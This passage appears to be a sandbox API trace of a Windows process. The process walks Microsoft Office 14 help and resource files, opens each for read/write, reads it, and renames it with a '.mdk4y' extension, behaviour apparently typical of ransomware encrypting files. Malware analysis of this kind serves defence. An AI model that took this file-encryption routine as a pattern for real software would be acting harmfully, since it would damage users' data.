lpPerformanceCount=0x37dee4*=1827809400000) returned 1 [0202.865] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt.mdk4y")) returned 1 [0202.866] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.866] AreFileApisANSI () returned 1 [0202.866] GetACP () returned 0x4e4 [0202.866] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WINPROJ_F_COL.HXK", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WINPROJ_F_COL.HXK.HXK", lpUsedDefaultChar=0x37df4c) returned 17 [0202.866] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.867] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827809700000) returned 1 [0202.867] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72, lpOverlapped=0x0) returned 1 [0202.868] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827809800000) returned 1 [0202.868] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827809800000) returned 1 [0202.868] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk.mdk4y")) returned 1 [0202.869] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.869] AreFileApisANSI () returned 1 [0202.869] GetACP () returned 0x4e4 [0202.869] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WINPROJ_K_COL.HXK", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WINPROJ_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 17 [0202.869] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.869] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827809900000) returned 1 [0202.869] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x71, lpOverlapped=0x0) returned 1 [0202.870] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827810000000) returned 1 [0202.870] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827810000000) returned 1 [0202.870] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk.mdk4y")) returned 1 [0202.871] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.871] AreFileApisANSI () returned 1 [0202.871] GetACP () returned 0x4e4 [0202.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WINSCHD.VRD", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WINSCHD.VRDOL.HXK", lpUsedDefaultChar=0x37df4c) returned 11 [0202.871] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827810200000) returned 1 [0202.872] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x608, lpOverlapped=0x0) returned 1 [0202.878] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827810800000) returned 1 [0202.878] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827810800000) returned 1 [0202.878] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd.mdk4y")) returned 1 [0202.880] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.880] AreFileApisANSI () returned 1 [0202.880] GetACP () returned 0x4e4 [0202.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WINWORD.DEV.HXS", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WINWORD.DEV.HXSXK", lpUsedDefaultChar=0x37df4c) returned 15 [0202.880] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827811100000) returned 1 [0202.881] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0203.090] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827832000000) returned 1 [0203.091] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827832100000) returned 1 [0203.099] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs.mdk4y")) returned 1 [0203.106] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0203.106] AreFileApisANSI () returned 1 [0203.106] GetACP () returned 0x4e4 [0203.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WINWORD.DEV_COL.HXC", cchWideChar=19, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WINWORD.DEV_COL.HXCXK", lpUsedDefaultChar=0x37df4c) returned 19 [0203.106] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0203.107] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827833700000) returned 1 [0203.107] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x28b, lpOverlapped=0x0) returned 1 [0203.175] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827840500000) returned 1 [0203.175] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827840500000) returned 1 [0203.176] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc.mdk4y")) returned 1 [0203.180] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0203.181] AreFileApisANSI () returned 1 [0203.181] GetACP () returned 0x4e4 [0203.181] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WINWORD.DEV_COL.HXT", cchWideChar=19, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WINWORD.DEV_COL.HXT", lpUsedDefaultChar=0x37df4c) returned 19 [0203.181] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0203.182] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827841500000) returned 1 [0203.185] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd3, lpOverlapped=0x0) returned 1 [0203.186] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827841600000) returned 1 [0203.186] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827841600000) returned 1 [0203.186] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt.mdk4y")) returned 1 [0203.188] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0203.188] AreFileApisANSI () returned 1 [0203.188] GetACP () returned 0x4e4 [0203.188] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WINWORD.DEV_F_COL.HXK", cchWideChar=21, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WINWORD.DEV_F_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 21 [0203.188] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0203.190] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827841900000) returned 1 [0203.190] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72, lpOverlapped=0x0) returned 1 [0203.190] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827842000000) returned 1 [0203.190] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827842000000) returned 1 [0203.191] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk.mdk4y")) returned 1 [0203.192] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0203.192] AreFileApisANSI () returned 1 [0203.192] GetACP () returned 0x4e4 [0203.192] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WINWORD.DEV_K_COL.HXK", cchWideChar=21, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WINWORD.DEV_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 21 [0203.192] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0203.194] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827842400000) returned 1 [0203.194] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x71, lpOverlapped=0x0) returned 1 [0203.194] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827842400000) returned 1 [0203.195] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827842500000) returned 1 [0203.195] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk.mdk4y")) returned 1 [0203.196] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0203.196] AreFileApisANSI () returned 1 [0203.196] GetACP () returned 0x4e4 [0203.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WINWORD.HXS", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WINWORD.HXS_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 11 [0203.197] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0203.198] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827842800000) returned 1 [0203.198] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0203.314] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827854500000) returned 1 [0203.315] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827854500000) returned 1 [0203.398] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs.mdk4y")) returned 1 [0203.400] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0203.400] AreFileApisANSI () returned 1 [0203.400] GetACP () returned 0x4e4 [0203.400] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WINWORD_COL.HXC", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WINWORD_COL.HXCOL.HXK", lpUsedDefaultChar=0x37df4c) returned 15 [0203.400] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0203.401] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827863100000) returned 1 [0203.401] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x277, lpOverlapped=0x0) returned 1 [0203.403] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827863300000) returned 1 [0203.403] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827863300000) returned 1 [0203.403] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc.mdk4y")) returned 1 [0203.404] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0203.404] AreFileApisANSI () returned 1 [0203.404] GetACP () returned 0x4e4 [0203.404] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WINWORD_COL.HXT", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WINWORD_COL.HXT", lpUsedDefaultChar=0x37df4c) returned 15 [0203.404] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0203.405] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827863500000) returned 1 [0203.405] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcf, lpOverlapped=0x0) returned 1 [0203.405] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827863500000) returned 1 [0203.405] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827863500000) returned 1 [0203.406] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt.mdk4y")) returned 1 [0203.407] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0203.407] AreFileApisANSI () returned 1 [0203.407] GetACP () returned 0x4e4 [0203.407] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WINWORD_F_COL.HXK", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WINWORD_F_COL.HXK.HXK", lpUsedDefaultChar=0x37df4c) returned 17 [0203.407] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0203.407] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827863700000) returned 1 [0203.408] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72, lpOverlapped=0x0) returned 1 [0203.408] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827863800000) returned 1 [0203.408] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827863800000) returned 1 [0203.408] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk.mdk4y")) returned 1 [0203.409] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0203.409] AreFileApisANSI () returned 1 [0203.409] GetACP () returned 0x4e4 [0203.409] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WINWORD_K_COL.HXK", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WINWORD_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 17 [0203.409] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0203.410] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827864000000) returned 1 [0203.410] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x71, lpOverlapped=0x0) returned 1 [0203.411] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827864100000) returned 1 [0203.411] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827864100000) returned 1 [0203.411] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk.mdk4y")) returned 1 [0203.412] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0203.412] AreFileApisANSI () returned 1 [0203.412] GetACP () returned 0x4e4 [0203.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WORKFLOW.VSL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WORKFLOW.VSLL.HXK", lpUsedDefaultChar=0x37df4c) returned 12 [0203.412] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0203.412] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827864200000) returned 1 [0203.412] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa560, lpOverlapped=0x0) returned 1 [0203.449] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827867900000) returned 1 [0203.449] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827867900000) returned 1 [0203.450] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL.mdk4y" (normalized: 